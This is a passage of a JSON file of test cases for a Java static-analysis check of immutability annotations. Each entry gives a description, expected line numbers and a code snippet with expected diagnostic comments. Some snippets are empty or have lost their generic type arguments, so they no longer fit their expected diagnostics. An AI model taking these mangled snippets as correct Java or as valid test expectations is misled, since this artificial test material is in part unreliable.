{\n public int count() {\n return x++;\n }\n }\n }" + }, + { + "description": "superFieldSuppression", + "expected-problems": null, + "expected-linenumbers": [ + 1983 + ], + "code": "" + }, + { + "description": "rawClass", + "expected-problems": null, + "expected-linenumbers": [ + 1994 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n final Class clazz = Test.class;\n }" + }, + { + "description": "incompleteClassPath", + "expected-problems": null, + "expected-linenumbers": [ + 2014 + ], + "code": "" + }, + { + "description": "knownImmutableFlag", + "expected-problems": null, + "expected-linenumbers": [ + 2028 + ], + "code": "package threadsafety;\n\n class SomeImmutable {}\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n public final SomeImmutable s = new SomeImmutable();\n }" + }, + { + "description": "knownUnsafeFlag", + "expected-problems": null, + "expected-linenumbers": [ + 2054 + ], + "code": "package threadsafety;\n\n class SomeUnsafe {}\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: 'SomeUnsafe' is mutable\n public final SomeUnsafe s = new SomeUnsafe();\n }" + }, + { + "description": "lazyInit", + "expected-problems": null, + "expected-linenumbers": [ + 2081 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import com.google.errorprone.annotations.concurrent.LazyInit;\n\n @Immutable\n class Test {\n @LazyInit int a = 42;\n }" + }, + { + "description": "lazyInitMutable", + "expected-problems": null, + "expected-linenumbers": [ + 2098 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import com.google.errorprone.annotations.concurrent.LazyInit;\n import java.util.List;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: 'List' is mutable\n @LazyInit List a = null;\n }" + }, + { + "description": "immutableTypeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 2117 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class Test<@ImmutableTypeParameter T> {\n final T t = null;\n }" + }, + { + "description": "immutableTypeParameterInstantiation_immutableGenericFromContext_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2135 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class A<@ImmutableTypeParameter T> {}\n \n\n import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n class Test<@ImmutableTypeParameter T> {\n A n() {\n return new A<>();\n }\n }" + }, + { + "description": "immutableTypeParameterInstantiation_mutableGenericFromContext_violation", + "expected-problems": null, + "expected-linenumbers": [ + 2162 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class A<@ImmutableTypeParameter T> {}\n \n\nclass Test {\n A n() {\n // BUG: Diagnostic contains: instantiation of 'T' is mutable, 'T' is a mutable type variable\n return new A<>();\n }\n}" + }, + { + "description": "immutableTypeParameterInstantiation_staticMethod_genericParamNotAnnotated_violation", + "expected-problems": null, + "expected-linenumbers": [ + 2188 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class A<@ImmutableTypeParameter T> {}\n \n\nclass Test {\n static A m() {\n // BUG: Diagnostic contains: instantiation of 'T' is mutable, 'T' is a mutable type variable\n return new A<>();\n }\n}" + }, + { + "description": "immutableTypeParameterInstantiation_staticMethod_genericParamAnnotated_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2215 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class A<@ImmutableTypeParameter T> {}\n \n\n import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n class Test {\n static <@ImmutableTypeParameter T> A l() {\n return new A<>();\n }\n }" + }, + { + "description": "immutableTypeParameterInstantiation_genericParamNotAnnotated_violation", + "expected-problems": null, + "expected-linenumbers": [ + 2242 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class A<@ImmutableTypeParameter T> {}\n \n\nclass Test {\n A k() {\n // BUG: Diagnostic contains: instantiation of 'T' is mutable, 'T' is a mutable type variable\n return new A<>();\n }\n}" + }, + { + "description": "immutableTypeParameterInstantiation_genericParamAnnotated_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2268 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class A<@ImmutableTypeParameter T> {}\n \n\n import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n class Test {\n <@ImmutableTypeParameter T> A k() {\n return new A<>();\n }\n }" + }, + { + "description": "immutableTypeParameterInstantiation_genericParamExtendsMutable_violation", + "expected-problems": null, + "expected-linenumbers": [ + 2295 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n class MyMutableType {}\n \n\n import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class A<@ImmutableTypeParameter T> {}\n \n\nclass Test {\n A i() {\n // BUG: Diagnostic contains: instantiation of 'T' is mutable, 'T' is a mutable type variable\n return new A<>();\n }\n}" + }, + { + "description": "immutableTypeParameterInstantiation_genericParamExtendsImmutable_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2328 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class MyImmutableType {}\n \n\n import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class A<@ImmutableTypeParameter T> {}\n \n\n class Test {\n A h() {\n return new A<>();\n }\n }" + }, + { + "description": "immutableTypeParameterInstantiation_violation", + "expected-problems": null, + "expected-linenumbers": [ + 2361 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class A<@ImmutableTypeParameter T> {}\n \n\n class Test {\n A g() {\n // BUG: Diagnostic contains: instantiation of 'T' is mutable, 'Object' is mutable\n return new A<>();\n }\n }" + }, + { + "description": "immutableTypeParameterInstantiation_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2387 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class A<@ImmutableTypeParameter T> {}\n \n\n class Test {\n A f() {\n return new A<>();\n }\n }" + }, + { + "description": "immutableTypeParameterUsage", + "expected-problems": null, + "expected-linenumbers": [ + 2412 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n class T {\n static <@ImmutableTypeParameter T> void f() {}\n }" + }, + { + "description": "immutableTypeParameterUsage_interface", + "expected-problems": null, + "expected-linenumbers": [ + 2427 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n @Immutable\n interface T<@ImmutableTypeParameter T> {}" + }, + { + "description": "immutableTypeParameterMutableClass", + "expected-problems": null, + "expected-linenumbers": [ + 2442 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n class A<@ImmutableTypeParameter T> {}" + }, + { + "description": "immutableTypeParameter_notAllTypeVarsInstantiated", + "expected-problems": null, + "expected-linenumbers": [ + 2455 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import java.util.function.Function;\n\n class Test {\n public final void f1(A transform) {}\n\n public C f2(Function fn) {\n return null;\n }\n\n public final void f3(Function fn) {\n // BUG: Diagnostic contains: instantiation of 'C' is mutable\n // 'E' is a mutable type variable\n f1(f2(fn));\n }\n }" + }, + { + "description": "immutableTypeParameter_notAllTypeVarsInstantiated_shouldFail", + "expected-problems": null, + "expected-linenumbers": [ + 2485 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import java.util.function.Function;\n\n class Test {\n public final void f1(A transform) {}\n\n public <@ImmutableTypeParameter B, C> C f2(Function fn) {\n return null;\n }\n\n public final void f3(Function fn) {\n // BUG: Diagnostic contains: instantiation of 'B' is mutable\n // 'D' is a mutable type variable\n f1(f2(fn));\n }\n }" + }, + { + "description": "containerOf_extendsThreadSafe", + "expected-problems": null, + "expected-linenumbers": [ + 2512 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class X {}\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = {\"Y\"})\n // BUG: Diagnostic contains: 'X' is not a container of 'V'\n class Test extends X {\n private final Y t = null;\n }" + }, + { + "description": "containerOf_extendsThreadSafeContainerOf", + "expected-problems": null, + "expected-linenumbers": [ + 2537 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = {\"V\"})\n class X {}\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = {\"Y\"})\n class Test extends X {\n private final Y t = null;\n }" + }, + { + "description": "containerOf_extendsThreadSafe_nonContainer", + "expected-problems": null, + "expected-linenumbers": [ + 2561 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = {\"V\"})\n class X {}\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = {\"Y\"})\n class Test extends X {\n private final Y t = null;\n }" + }, + { + "description": "containerOf_extendsThreadSafe_interface", + "expected-problems": null, + "expected-linenumbers": [ + 2585 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface X {}\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = {\"Y\"})\n // BUG: Diagnostic contains: 'X' is not a container of 'V'\n class Test implements X {\n private final Y t = null;\n }" + }, + { + "description": "containerOf_field", + "expected-problems": null, + "expected-linenumbers": [ + 2610 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface X {}\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"V\")\n class Test {\n private final X t = null;\n }" + }, + { + "description": "annotatedClassType", + "expected-problems": null, + "expected-linenumbers": [ + 2634 + ], + "code": "import static java.lang.annotation.ElementType.TYPE_USE;\n import java.lang.annotation.Target;\n\n @Target(TYPE_USE)\n @interface A {}\n\n class Test {\n Object o = new @A Object();\n }" + }, + { + "description": "immutableInterfaceImplementationCapturesMutableState", + "expected-problems": null, + "expected-linenumbers": [ + 2654 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface I {\n int f();\n }\n\n class Test {\n int x;\n I one =\n new I() {\n public int f() {\n return x++;\n }\n };\n I two = () -> x++;\n }" + }, + { + "description": "immutableUpperBound", + "expected-problems": null, + "expected-linenumbers": [ + 2681 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class MyImmutableType {}\n \n\n import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n final T t = null;\n final U u = null;\n final ImmutableList v = null;\n }" + }, + { + "description": "immutableRecursiveUpperBound", + "expected-problems": null, + "expected-linenumbers": [ + 2708 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n abstract class Recursive> {\n final T x = null;\n }" + }, + { + "description": "immutableRecursiveUpperBound_notImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 2724 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n\n @Immutable\n abstract class Recursive> {\n final T x = null;\n // BUG: Diagnostic contains: 'Recursive' has field 'y' of type 'java.util.List'\n final List y = null;\n }" + }, + { + "description": "immutableUpperBoundAndContainerOfInconsistency", + "expected-problems": null, + "expected-linenumbers": [ + 2743 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface ImmutableInterface {}\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @SuppressWarnings(\"Immutable\")\n class MutableImpl implements ImmutableInterface {\n int mutableField;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n class WithContainerOf {\n final T x = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class WithoutContainerOf {\n final T x = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n final WithContainerOf a = null;\n final WithoutContainerOf b = null;\n // BUG: Diagnostic contains: field 'c' of type 'WithContainerOf'\n final WithContainerOf c = null;\n final WithoutContainerOf d = null;\n }" + }, + { + "description": "immutableTypeParameter_twoInstantiations", + "expected-problems": null, + "expected-linenumbers": [ + 2802 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class Test<@ImmutableTypeParameter T> {\n <@ImmutableTypeParameter T> T f(T t) {\n return t;\n }\n\n <@ImmutableTypeParameter T> void g(T a, T b) {}\n\n @Immutable\n interface I {}\n\n void test(I i) {\n g(f(i), f(i));\n }\n }" + }, + { + "description": "immutableTypeParameter_instantiations_negative", + "expected-problems": null, + "expected-linenumbers": [ + 2832 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n\n abstract class T {\n interface S {}\n\n interface L {}\n\n interface A {}\n\n @Immutable\n interface B extends A {}\n\n @Immutable\n interface C extends B {}\n\n abstract void h(S firstType, S secondType, S thirdType);\n\n abstract <@ImmutableTypeParameter E extends A> S f(Class entityClass);\n\n abstract S> g(S element);\n\n void test() {\n // BUG: Diagnostic contains: the declaration of type 'T.A' is not annotated\n h(f(A.class), g(f(B.class)), g(f(C.class)));\n }\n }" + }, + { + "description": "immutableTypeParameter_rawSuper", + "expected-problems": null, + "expected-linenumbers": [ + 2870 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class S<@ImmutableTypeParameter X> {}\n \n\nimport com.google.errorprone.annotations.ImmutableTypeParameter;\nimport com.google.errorprone.annotations.Immutable;\n\n@Immutable\n// BUG: Diagnostic contains: 'S' required instantiation of 'X' with type parameters, but was raw\nclass T<@ImmutableTypeParameter X> extends S {}" + }, + { + "description": "mutable_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2895 + ], + "code": "class MutableClass {}" + }, + { + "description": "containerOf_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2911 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n class ImmutableContainer {}" + }, + { + "description": "nestedImmutableTypeParameter_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2930 + ], + "code": "" + }, + { + "description": "localVariable_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2938 + ], + "code": "class MutableClass {}" + }, + { + "description": "parameter_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2956 + ], + "code": "class MutableClass {}" + }, + { + "description": "returnValue_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2972 + ], + "code": "class MutableClass {}" + }, + { + "description": "genericStaticMethodParam_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2988 + ], + "code": "" + }, + { + "description": "genericStaticMethodReturnValue_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 2999 + ], + "code": "" + }, + { + "description": "methodParameter_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3010 + ], + "code": "" + }, + { + "description": "methodReturnValue_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3021 + ], + "code": "" + }, + { + "description": "constructorParam_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3033 + ], + "code": "" + }, + { + "description": "typecast_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3045 + ], + "code": "class MutableClass {}" + }, + { + "description": "new_violation", + "expected-problems": null, + "expected-linenumbers": [ + 3063 + ], + "code": "class MutableClass {}" + }, + { + "description": "typeParameterExtendsMutable_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3084 + ], + "code": "class MutableClass {}" + }, + { + "description": "typeParameterExtendsImmutable_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3102 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class ImmutableClass {}" + }, + { + "description": "typeParameterSuper_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3123 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class ImmutableClass {}" + }, + { + "description": "extendsImmutable_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3144 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class ImmutableClass {}\n \n\n class ChildGenericWithImmutableParam\n extends GenericWithImmutableParam {}" + }, + { + "description": "methodInvocation_violation", + "expected-problems": null, + "expected-linenumbers": [ + 3164 + ], + "code": "class MutableClass {}\n \n\n import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n class Clazz {\n public <@ImmutableTypeParameter T> void method(int m, T v) {}\n }\n \n\nclass Invoker {\n public void method() {\n // BUG: Diagnostic contains: instantiation of 'T' is mutable, the declaration of type\n // 'MutableClass' is not annotated with @com.google.errorprone.annotations.Immutable\n new Clazz().method(78, new MutableClass());\n }\n}" + }, + { + "description": "containerOfAsImmutableTypeParameter_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3195 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = {\"T\"})\n class Container {}\n \n\n class Clazz {\n private GenericWithImmutableParam> container;\n }" + }, + { + "description": "containerOfAsImmutableTypeParameterInSameClass_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3216 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = {\"T\"})\n class Container {\n GenericWithImmutableParam method() {\n return null;\n }\n }" + }, + { + "description": "immutableTypeParameter_recursiveUpperBound", + "expected-problems": null, + "expected-linenumbers": [ + 3234 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n abstract class B> {}" + }, + { + "description": "immutableTypeParameter_recursiveUpperBoundUsage", + "expected-problems": null, + "expected-linenumbers": [ + 3248 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface B> {}\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class A implements B {\n final B value = null;\n }" + }, + { + "description": "wildcard_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3272 + ], + "code": "" + }, + { + "description": "immutableTypeParameter_anonymousInstantiation_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3283 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n class Clazz {\n private static final GenericWithImmutableParam value =\n new GenericWithImmutableParam() {};\n }" + }, + { + "description": "immutableTypeParameter_anonymousInstantiation_violation", + "expected-problems": null, + "expected-linenumbers": [ + 3299 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n\nclass Clazz {\n private static final GenericWithImmutableParam value =\n // BUG: Diagnostic contains: instantiation of 'T' is mutable, the declaration of type\n // 'Clazz.MutableClass' is not annotated with @com.google.errorprone.annotations.Immutable\n new GenericWithImmutableParam() {};\n\n private static class MutableClass {}\n}" + }, + { + "description": "nonGeneric_inheritanceClass_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3319 + ], + "code": "class ChildGenericWithImmutableParam extends GenericWithImmutableParam {}" + }, + { + "description": "nonGeneric_inheritanceClass_violation", + "expected-problems": null, + "expected-linenumbers": [ + 3330 + ], + "code": "// BUG: Diagnostic contains: instantiation of 'T' is mutable, the declaration of type 'MutableClass'\n// is not annotated with @com.google.errorprone.annotations.Immutable\nclass ChildGenericWithImmutableParam extends GenericWithImmutableParam {}" + }, + { + "description": "nonGeneric_inheritanceInterface_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3344 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n interface GenericWithImmutableParamIface<@ImmutableTypeParameter T> {}\n \n\nclass ChildGenericWithImmutableParam implements GenericWithImmutableParamIface {}" + }, + { + "description": "nonGeneric_inheritanceInterface_violation", + "expected-problems": null, + "expected-linenumbers": [ + 3362 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n interface GenericWithImmutableParamIface<@ImmutableTypeParameter T> {}\n \n\n// BUG: Diagnostic contains: instantiation of 'T' is mutable, the declaration of type 'MutableClass'\n// is not annotated with @com.google.errorprone.annotations.Immutable\nclass ChildGenericWithImmutableParam implements GenericWithImmutableParamIface {}" + }, + { + "description": "inheritanceClass_violation", + "expected-problems": null, + "expected-linenumbers": [ + 3383 + ], + "code": "// BUG: Diagnostic contains: instantiation of 'T' is mutable, 'T' is a mutable type variable\nclass ChildGenericWithImmutableParam extends GenericWithImmutableParam {}" + }, + { + "description": "inheritanceClass_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3395 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n class ChildGenericWithImmutableParam<@ImmutableTypeParameter T>\n extends GenericWithImmutableParam {}" + }, + { + "description": "inheritanceInterface_violation", + "expected-problems": null, + "expected-linenumbers": [ + 3409 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n interface GenericWithImmutableParamIface<@ImmutableTypeParameter T> {}\n \n\n// BUG: Diagnostic contains: instantiation of 'T' is mutable, 'T' is a mutable type variable\nclass ChildGenericWithImmutableParam implements GenericWithImmutableParamIface {}" + }, + { + "description": "inheritanceInterface_noViolation", + "expected-problems": null, + "expected-linenumbers": [ + 3428 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n interface GenericWithImmutableParamIface<@ImmutableTypeParameter T> {}\n \n\n import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n class ChildGenericWithImmutableParam<@ImmutableTypeParameter T>\n implements GenericWithImmutableParamIface {}" + }, + { + "description": "lambda_cannotCloseAroundMutableField", + "expected-problems": null, + "expected-linenumbers": [ + 3460 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n @Immutable\n interface ImmutableFunction {\n A apply(B b);\n }\n\n private int a = 0;\n\n void test(ImmutableFunction f) {\n // BUG: Diagnostic contains:\n test(x -> ++a);\n }\n }" + }, + { + "description": "lambda_canCloseAroundImmutableField", + "expected-problems": null, + "expected-linenumbers": [ + 3487 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n @Immutable\n interface ImmutableFunction {\n A apply(B b);\n }\n\n private final int b = 1;\n\n void test(ImmutableFunction f) {\n test(x -> b);\n test(x -> this.b);\n }\n }" + }, + { + "description": "lambda_cannotCloseAroundMutableFieldQualifiedWithThis", + "expected-problems": null, + "expected-linenumbers": [ + 3514 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n @Immutable\n interface ImmutableFunction {\n A apply(B b);\n }\n\n private int b = 1;\n\n void test(ImmutableFunction f) {\n // BUG: Diagnostic contains:\n test(x -> this.b);\n }\n }" + }, + { + "description": "lambda_cannotCloseAroundMutableLocal", + "expected-problems": null, + "expected-linenumbers": [ + 3541 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n import java.util.ArrayList;\n\n class Test {\n @Immutable\n interface ImmutableFunction {\n A apply(B b);\n }\n\n void test(ImmutableFunction f) {\n List xs = new ArrayList<>();\n // BUG: Diagnostic contains:\n test(x -> xs.get(x));\n }\n }" + }, + { + "description": "notImmutableAnnotatedLambda_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 3567 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n import java.util.function.Function;\n\n class Test {\n void test(Function f) {\n List xs = new ArrayList<>();\n test(x -> xs.get(x));\n }\n }" + }, + { + "description": "lambda_canHaveMutableVariablesWithin", + "expected-problems": null, + "expected-linenumbers": [ + 3587 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n @Immutable\n interface ImmutableFunction {\n A apply(B b);\n }\n\n void test(ImmutableFunction f) {\n test(\n x -> {\n List xs = new ArrayList<>();\n return xs.get(x);\n });\n }\n }" + }, + { + "description": "lambda_canAccessStaticField", + "expected-problems": null, + "expected-linenumbers": [ + 3615 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n class Test {\n @Immutable\n interface ImmutableFunction {\n A apply(B b);\n }\n\n static class A {\n public static int FOO = 1;\n }\n\n void test(ImmutableFunction f) {\n test(x -> A.FOO);\n }\n }" + }, + { + "description": "lambda_cannotCallMethodOnMutableClass", + "expected-problems": null, + "expected-linenumbers": [ + 3641 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\nabstract class Test {\n @Immutable\n interface ImmutableFunction {\n A apply(B b);\n }\n\n abstract int mutable(int a);\n\n void test(ImmutableFunction f) {\n // BUG: Diagnostic contains: This lambda implements @Immutable interface 'ImmutableFunction',\n // but accesses instance method(s) 'mutable' on 'Test' which is not @Immutable\n test(x -> mutable(x));\n // BUG: Diagnostic contains: This lambda implements @Immutable interface 'ImmutableFunction',\n // but closes over 'this', which is not @Immutable because 'Test' has field 'this' of type\n // 'Test', the declaration of type 'Test' is not annotated with\n // @com.google.errorprone.annotations.Immutable\n test(x -> this.mutable(x));\n }\n}" + }, + { + "description": "lambda_canCallMethodOnImmutableClass", + "expected-problems": null, + "expected-linenumbers": [ + 3672 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n abstract class Test {\n @Immutable\n interface ImmutableFunction {\n A apply(B b);\n }\n\n abstract int mutable(int a);\n\n void test(ImmutableFunction f) {\n test(x -> mutable(x));\n test(x -> this.mutable(x));\n }\n }" + }, + { + "description": "checksEffectiveTypeOfReceiver", + "expected-problems": null, + "expected-linenumbers": [ + 3698 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.function.Function;\n\n @Immutable\n abstract class Test {\n @Immutable\n interface ImmutableFunction extends Function {\n default ImmutableFunction andThen(ImmutableFunction fn) {\n return x -> fn.apply(apply(x));\n }\n }\n }" + }, + { + "description": "checksEffectiveTypeOfReceiver_whenNotDirectOuterClass", + "expected-problems": null, + "expected-linenumbers": [ + 3720 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.function.Function;\n\n @Immutable\n abstract class Test implements Function {\n @Immutable\n interface ImmutableFunction {\n String apply(String a);\n }\n\n class A {\n ImmutableFunction asImmutable() {\n return x -> apply(x);\n }\n }\n }" + }, + { + "description": "methodReference_onImmutableType", + "expected-problems": null, + "expected-linenumbers": [ + 3746 + ], + "code": "import com.google.common.collect.ImmutableMap;\n import com.google.errorprone.annotations.Immutable;\n\n abstract class Test {\n @Immutable\n interface ImmutableFunction {\n String apply(String b);\n }\n\n void test(ImmutableFunction f) {\n ImmutableMap map = ImmutableMap.of();\n test(map::get);\n }\n }" + }, + { + "description": "methodReference_onMutableType", + "expected-problems": null, + "expected-linenumbers": [ + 3770 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.HashMap;\n import java.util.Map;\n\n abstract class Test {\n @Immutable\n interface ImmutableFunction {\n String apply(String b);\n }\n\n void test(ImmutableFunction f) {\n Map map = new HashMap<>();\n // BUG: Diagnostic contains:\n test(map::get);\n }\n }" + }, + { + "description": "methodReference_onExpressionWithMutableType", + "expected-problems": null, + "expected-linenumbers": [ + 3796 + ], + "code": "import com.google.common.collect.Maps;\n import com.google.errorprone.annotations.Immutable;\n\n abstract class Test {\n @Immutable\n interface ImmutableFunction {\n String apply(String b);\n }\n\n void test(ImmutableFunction f) {\n // BUG: Diagnostic contains:\n test(Maps.newHashMap()::get);\n }\n }" + }, + { + "description": "methodReference_toStaticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 3820 + ], + "code": "import com.google.common.collect.Lists;\n import com.google.errorprone.annotations.Immutable;\n\n abstract class Test {\n @Immutable\n interface ImmutableProvider {\n Object get();\n }\n\n void test(ImmutableProvider f) {\n test(Lists::newArrayList);\n }\n }" + }, + { + "description": "methodReference_toUnboundMethodReference", + "expected-problems": null, + "expected-linenumbers": [ + 3843 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.Set;\n\n abstract class Test {\n @Immutable\n interface ImmutableBiConsumer {\n void accept(Set xs, String x);\n }\n\n void test(ImmutableBiConsumer c) {\n test(Set::add);\n }\n }" + }, + { + "description": "methodReference_toConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 3866 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.ArrayList;\n\n abstract class Test {\n @Immutable\n interface ImmutableProvider {\n Object get();\n }\n\n void test(ImmutableProvider f) {\n test(ArrayList::new);\n }\n }" + }, + { + "description": "methodReference_immutableTypeParam", + "expected-problems": null, + "expected-linenumbers": [ + 3889 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import java.util.ArrayList;\n\n abstract class Test {\n interface ImmutableProvider<@ImmutableTypeParameter T> {\n T get();\n }\n\n void test(ImmutableProvider f) {\n // BUG: Diagnostic contains:\n test(ArrayList::new);\n }\n }" + }, + { + "description": 